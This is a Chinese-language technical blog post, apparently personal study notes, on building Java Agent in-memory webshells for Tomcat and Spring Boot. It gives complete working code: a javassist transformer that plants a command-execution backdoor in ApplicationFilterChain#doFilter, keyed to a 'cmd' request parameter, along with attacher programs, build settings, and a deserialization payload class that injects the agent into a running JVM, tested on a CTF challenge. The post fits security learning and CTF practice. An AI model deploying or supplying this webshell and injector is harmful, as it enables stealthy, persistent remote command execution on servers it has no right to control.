前言 这里补充一下java agent内存马的学习,主要是之前笔试的时候有个spring boot命令执行不出网的利用,当时脑子抽了忘记可以使用agent内存马,当时说的是:Spring Boot Fat Jar 写文件漏洞到稳定 RCE 的探索 后来反应过来使用agent实现内存马更加简单实用,再加上之前只是知道没有深入学习,所以就有了写这么一篇文章的想法,顺便记录一下学习过程避免遗忘
基础知识 在 jdk 1.5 之后引入了java.lang.instrument
包,该包提供了检测 java 程序的 Api,比如用于监控、收集性能信息、诊断问题,通过java.lang.instrument
实现的工具我们称之为Java Agent ,Java Agent 能够在不影响正常编译的情况下来修改字节码,即动态修改已加载或者未加载的类,包括类的属性、方法
Java agent的使用方式有两种:
jvm方式:实现 premain 方法,在JVM启动前加载
attach方式:实现 agentmain 方法,在JVM启动后加载
premain和agentmain函数声明如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static void agentmain (String agentArgs, Instrumentation inst) { ... } public static void agentmain (String agentArgs) { ... } public static void premain (String agentArgs, Instrumentation inst) { ... } public static void premain (String agentArgs) { ... }
拥有Instrumentation inst
参数的方法优先级更高
借一张图可以很方便理解
premain 环境搭建可以参考:IDEA + maven 零基础构建 java agent 项目
首先我们构建一个新pom项目,然后创建一个类PreDemo,并且实现premain
方法
1 2 3 4 5 6 7 8 9 import java.lang.instrument.Instrumentation;public class PreDemo { public static void premain (String args, Instrumentation inst) { for (int i = 0 ; i < 10 ; i++) { System.out.println("hello I'm premain agent!!!" ); } } }
接着在src/main/resources/
目录下创建META-INF/MANIFEST.MF
,需要指定Premain-Class
1 2 Manifest-Version: 1.0 Premain-Class: PreDemo
注意最后必须多一个换行 ,最后打包成jar即可
最后带上-javaagent:java-agent.jar
参数执行,结果如下
可以看到在spring boot开始之前就执行了premain
方法 但我们内存马注入的情况都是处于 JVM 已运行了的情况,所以要实现内存马的话我们需要在启动后执行,这时候就需要用到另一种方法 agentmain
agentmain agentmain 和 premain 差不多,只需要在META-INF/MANIFEST.MF
中加入Agent-Class:
即可
1 2 3 4 Manifest-Version: 1.0 Can-Redefine-Classes: true Can-Retransform-Classes: true Agent-Class: AgentDemo
不同的是,这种方法不是通过JVM启动前的参数来指定的,官方为了实现启动后加载,提供了Attach API。Attach API 只有 2 个主要的类,并且都在 com.sun.tools.attach
包里面 那么我们先导入tools包,然后着重关注VitualMachine这个类
VirtualMachine 可以来实现获取系统信息,内存dump、现成dump、类信息统计(例如JVM加载的类),里面提供了 LoadAgent,Attach 和 Detach 等方法
attach:该类允许我们通过给attach方法传入一个jvm的pid(进程id),远程连接到jvm上
1 VirtualMachine vm = VirtualMachine.attach(v.id());
loadAgent:向 jvm 注册一个代理程序 agent,在该 agent 的代理程序中会得到一个 Instrumentation 实例,该实例可以在 class 加载前改变 class 的字节码,也可以在 class 加载后重新加载。在调用 Instrumentation 实例的方法时,这些方法会使用 ClassFileTransformer 接口中提供的方法进行处理
detach:从 JVM 上面解除一个代理(agent)
首先写一个简单的agent
1 2 3 4 5 6 7 8 9 import java.lang.instrument.Instrumentation;public class AgentDemo { public static void agentmain (String agentArgs, Instrumentation inst) { for (int i = 0 ; i < 10 ; i++) { System.out.println("hello I'm agentMain!!!" ); } } }
构建成jar包,然后写一个attacher:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 import com.sun.tools.attach.AgentInitializationException;import com.sun.tools.attach.AgentLoadException;import com.sun.tools.attach.AttachNotSupportedException;import com.sun.tools.attach.VirtualMachine;import java.io.IOException;public class AgentMain { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { String id = "3020" ; String jarName = "C:\\Users\\bmth\\Desktop\\作业\\CTF学习\\java学习\\java-agent\\out\\artifacts\\java_agent_jar\\java-agent.jar" ; VirtualMachine virtualMachine = VirtualMachine.attach(id); virtualMachine.loadAgent(jarName); virtualMachine.detach(); } }
windows环境下必须用管理员权限运行jps -l
获得我们目标应用的进程号
成功attach并加载了agent
Instrumentation Instrumentation
是JVMTIAgent
(JVM Tool Interface Agent)的一部分。Java agent通过这个类和目标JVM进行交互,从而达到修改数据的效果,主要是在Instrumentation
中增加了名叫 Transformer 的 Class 文件转换器,转换器可以改变二进制流的数据 Transformer 可以对未加载的类进行拦截,同时可对已加载的类进行重新拦截,所以根据这个特性我们能够实现动态修改字节码
来看一下有哪些方法,用cszeromirror师傅的介绍:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public interface Instrumentation { void addTransformer (ClassFileTransformer transformer) ; boolean removeTransformer (ClassFileTransformer transformer) ; void retransformClasses (Class<?>... classes) throws UnmodifiableClassException; boolean isModifiableClass (Class<?> theClass) ; @SuppressWarnings("rawtypes") Class[] getAllLoadedClasses(); ...... }
先看一下获取已经加载的类,我们修改一下AgentDemo代码为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import java.io.File;import java.io.FileOutputStream;import java.io.IOException;import java.lang.instrument.Instrumentation;public class AgentDemo { public static void agentmain (String agentArgs, Instrumentation inst) throws IOException { Class[] classes = inst.getAllLoadedClasses(); FileOutputStream fileOutputStream = new FileOutputStream (new File ("./classesInfo.txt" )); for (Class aClass : classes) { String result = "class ==> " + aClass.getName() +";" + "Modifiable ==> " + (inst.isModifiableClass(aClass) ? "true" : "false" )+"\n" ; fileOutputStream.write(result.getBytes()); } fileOutputStream.close(); } }
可以得到目标JVM上所有已经加载的类,并且知道了这些类能否被修改
接下来就是如何使用addTransformer()
和retransformClasses()
来篡改Class的字节码,使用的是javassist
javassist修改字节码 首先pom添加javassist依赖:
1 2 3 4 5 <dependency> <groupId>org.javassist</groupId> <artifactId>javassist</artifactId> <version>3.20 .0 -GA</version> </dependency>
然后看到几个关键的方法
ClassPool 来看一下官方对他的介绍:
ClassPool 是 CtClass 对象的容器。CtClass 对象必须从该对象获得。如果 get() 在此对象上调用,则它将搜索表示的各种源 ClassPath 以查找类文件,然后创建一个 CtClass 表示该类文件的对象。创建的对象将返回给调用者。
简单来说,这就是个容器,存放的是CtClass
对象 获得方法:ClassPool cp = ClassPool.getDefault();
如果程序运行在 JBoss 或者 Tomcat 等 Web 服务器上,ClassPool 可能无法找到用户的类,因为 Web 服务器使用多个类加载器作为系统类加载器。在这种情况下,ClassPool 必须添加额外的类搜索路径 ,即:cp.insertClassPath(new ClassClassPath(<Class>));
CtClass 可以把它理解成加强版的Class对象,需要从ClassPool中获得 获得方法:CtClass cc = cp.get(ClassName)
CtMethod 同理,可以理解成加强版的Method对象。
获得方法:CtMethod m = cc.getDeclaredMethod(MethodName)
这个类提供了一些方法,使我们可以便捷的修改方法体:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public final class CtMethod extends CtBehavior { } public abstract class CtBehavior extends CtMember { public void setBody (String src) ; public void insertBefore (String src) ; public void insertAfter (String src) ; public int insertAt (int lineNum, String src) ; }
传递给方法insertBefore()
,insertAfter()
和 insertAt()
的 String 对象是由Javassist 的编译器编译的,也就是我们控制的代码
命令执行注入内存马 当我们用户的请求到达Servlet之前,一定会经过 Filter,所以说 ApplicationFilterchain#dofilter
方法是一定会被调用的,并且在 ApplicationFilterChain#doFilter
中还封装了我们用户请求的 request 和 response
我们只需要在这方法前将我们的内存马写进去即可,参考天下大木头师傅的代码:浅谈 Java Agent 内存马
首先注册我们的 DefineTransformer ,然后遍历已加载的 class,如果存在的话那么就调用 retransformClasses 对其进行重定义 AgentDemo.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import java.lang.instrument.Instrumentation;public class AgentDemo { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; public static void agentmain (String agentArgs, Instrumentation ins) { ins.addTransformer(new DefineTransformer (),true ); Class[] classes = ins.getAllLoadedClasses(); for (Class clas:classes){ if (clas.getName().equals(ClassName)){ try { ins.retransformClasses(new Class []{clas}); } catch (Exception e){ e.printStackTrace(); } } } } }
DefineTransformer 对 transform 拦截的类进行 if 判断,如果被拦截的 classname 等于 ApplicationFilterChain 的话那么就对其进行字节码动态修改 DefineTransformer.java:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 import javassist.*;import java.io.IOException;import java.lang.instrument.ClassFileTransformer;import java.security.ProtectionDomain;public class DefineTransformer implements ClassFileTransformer { public static final String ClassName = "org.apache.catalina.core.ApplicationFilterChain" ; @Override public byte [] transform(ClassLoader loader, String className, Class<?> aClass, ProtectionDomain protectionDomain, byte [] classfileBuffer) { className = className.replace('/' , '.' ); if (className.equals(ClassName)) { ClassPool cp = ClassPool.getDefault(); if (aClass != null ) { ClassClassPath classPath = new ClassClassPath (aClass); cp.insertClassPath(classPath); } CtClass cc; try { cc = cp.get(className); CtMethod m = cc.getDeclaredMethod("doFilter" ); m.insertBefore("javax.servlet.ServletRequest req = request;\n" + "javax.servlet.ServletResponse res = response;" + "String cmd = req.getParameter(\"cmd\");\n" + "if (cmd != null) {\n" + "boolean isLinux = true;\n" + "String osTyp = System.getProperty(\"os.name\");\n" + "if (osTyp != null && osTyp.toLowerCase().contains(\"win\")) {isLinux = false;}\n" + "String[] cmds = isLinux ? new String[]{\"sh\", \"-c\", cmd} : new String[]{\"cmd.exe\", \"/c\", cmd};" + "Process process = Runtime.getRuntime().exec(cmds);\n" + "java.io.BufferedReader bufferedReader = new java.io.BufferedReader(\n" + "new java.io.InputStreamReader(process.getInputStream()));\n" + "StringBuilder stringBuilder = new StringBuilder();\n" + "String line;\n" + "while ((line = bufferedReader.readLine()) != null) {\n" + "stringBuilder.append(line + '\\n');\n" + "}\n" + "res.getOutputStream().write(stringBuilder.toString().getBytes());\n" + "res.getOutputStream().flush();\n" + "res.getOutputStream().close();\n" + "}" ); byte [] byteCode = cc.toBytecode(); cc.detach(); return byteCode; } catch (NotFoundException | IOException | CannotCompileException e) { e.printStackTrace(); } } return new byte [0 ]; } }
运行发现报错java.lang.ClassNotFoundException: javassist.ClassPath
说明编译为jar的时候没有把我们的javassist带上,这里换成使用pom生成jar包,添加如下代码到pom中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-assembly-plugin</artifactId> <configuration> <descriptorRefs> <descriptorRef>jar-with-dependencies</descriptorRef> </descriptorRefs> <archive> <manifestEntries> <Agent-Class>AgentDemo</Agent-Class> <Can-Redefine-Classes>true</Can-Redefine-Classes> <Can-Retransform-Classes>true</Can-Retransform-Classes> </manifestEntries> </archive> </configuration> <executions> <execution> <goals> <goal>attached</goal> </goals> <phase>package</phase> </execution> </executions> </plugin> </plugins> </build>
然后mvn assembly:assembly
命令打包即可,最后尝试加载
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.tools.attach.*;import java.io.IOException;import java.util.List;public class AgentMain { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { List<VirtualMachineDescriptor> list = VirtualMachine.list(); for (VirtualMachineDescriptor vir : list) { System.out.println(vir.displayName()); if (vir.displayName().endsWith("ezjaba.jar" )) { VirtualMachine attach = VirtualMachine.attach(vir.id()); String jarName = "C:\\Users\\bmth\\Desktop\\作业\\CTF学习\\java学习\\java-agent\\target\\java-agent-1.0-SNAPSHOT-jar-with-dependencies.jar" ; attach.loadAgent(jarName); attach.detach(); } } } }
成功植入内存马(注意要先访问一次,确保org.apache.catalina.core.ApplicationFilterChain
被加载)
这里看到一个项目:https://github.com/ethushiroha/JavaAgentTools
我们可以写一个attacher
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 import com.sun.tools.attach.*;import java.io.IOException;public class AgentMain { public static void main (String[] args) throws IOException, AttachNotSupportedException, AgentLoadException, AgentInitializationException { String id = args[0 ]; String jarName = args[1 ]; System.out.println("id ==> " + id); System.out.println("jarName ==> " + jarName); VirtualMachine virtualMachine = VirtualMachine.attach(id); virtualMachine.loadAgent(jarName); virtualMachine.detach(); System.out.println("ends" ); } }
这样就可以在命令行上执行了
成功执行命令
反序列化注入内存马 命令执行的agent内存马搞定了,但反序列化的又需要如何实现呢 可以知道反序列化可以加载任意类,那么我们写一个 获取 jvm 的 pid 号,然后调用 loadAgent 方法将 agent.jar 注入进去就可以 由于 tools.jar 并不会在 JVM 启动的时候默认加载,所以这里利用 URLClassloader 来加载我们的 tools.jar 首先需要上传我们的spring-agent.jar,然后反序列化 参考天下大木头的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;public class TestAgentMain extends AbstractTranslet { public TestAgentMain () throws Exception { try { java.lang.String path = "/home/bmth/web/spring-agent.jar" ; java.io.File toolsPath = new java .io.File(System.getProperty("java.home" ).replace("jre" ,"lib" ) + java.io.File.separator + "tools.jar" ); java.net.URL url = toolsPath.toURI().toURL(); java.net.URLClassLoader classLoader = new java .net.URLClassLoader(new java .net.URL[]{url}); Class MyVirtualMachine = classLoader.loadClass("com.sun.tools.attach.VirtualMachine" ); Class MyVirtualMachineDescriptor = classLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor" ); java.lang.reflect.Method listMethod = MyVirtualMachine.getDeclaredMethod("list" , null ); java.util.List list = (java.util.List) listMethod.invoke(MyVirtualMachine, null ); System.out.println("Running JVM list ..." ); for (int i = 0 ; i < list.size(); i++) { Object o = list.get(i); java.lang.reflect.Method displayName = MyVirtualMachineDescriptor.getDeclaredMethod("displayName" , null ); java.lang.String name = (java.lang.String) displayName.invoke(o, null ); if (name.contains("ezjaba.jar" )) { java.lang.reflect.Method getId = MyVirtualMachineDescriptor.getDeclaredMethod("id" , null ); java.lang.String id = (java.lang.String) getId.invoke(o, null ); System.out.println("id >>> " + id); java.lang.reflect.Method attach = MyVirtualMachine.getDeclaredMethod("attach" , new Class []{java.lang.String.class}); java.lang.Object vm = attach.invoke(o, new Object []{id}); java.lang.reflect.Method loadAgent = MyVirtualMachine.getDeclaredMethod("loadAgent" , new Class []{java.lang.String.class}); loadAgent.invoke(vm, new Object []{path}); java.lang.reflect.Method detach = MyVirtualMachine.getDeclaredMethod("detach" , null ); detach.invoke(vm, null ); System.out.println("Agent.jar Inject Success !!" ); break ; } } } catch (Exception e) { e.printStackTrace(); } } @Override public void transform (com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] handlers) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } @Override public void transform (com.sun.org.apache.xalan.internal.xsltc.DOM document, com.sun.org.apache.xml.internal.dtm.DTMAxisIterator iterator, com.sun.org.apache.xml.internal.serializer.SerializationHandler handler) throws com.sun.org.apache.xalan.internal.xsltc.TransletException { } }
然后我这里拿buu的题目本地测试,就是一个简单的rome链:https://buuoj.cn/match/matches/57/challenges#EasyJaba
最后访问任意路径都可rce
参考:Java Agent实现反序列化注入内存shell 利用“进程注入”实现无文件复活 WebShell 擅长捉弄的内存马同学:Agent内存马(低卡) Java Agent 从入门到内存马 论如何优雅的注入 Java Agent 内存马